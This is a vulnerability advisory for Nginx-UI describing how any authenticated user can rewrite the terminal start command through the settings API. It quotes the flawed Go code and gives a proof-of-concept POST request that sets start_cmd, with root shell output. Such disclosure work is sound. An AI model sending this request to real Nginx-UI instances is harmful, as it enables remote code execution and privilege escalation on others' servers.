| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20231219184941-827e76c46e63 | 1.9.10-0.20231219184941-827e76c46e63 |
| nginx ui | = 2.0.0< 2.0.0 | 2.0.0 |
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.
The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
Server settings.Server `json:"server"`
...
}
...
settings.ServerSettings = json.Server
...
err := settings.Save()
...
}
The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:
func Pty(c *gin.Context) {
...
p, err := pty.NewPipeLine(ws)
...
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeNewPipeLinefunc NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
c := exec.Command(settings.ServerSettings.StartCmd)
...
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7.
"start_cmd":"bash" :POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
root:root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.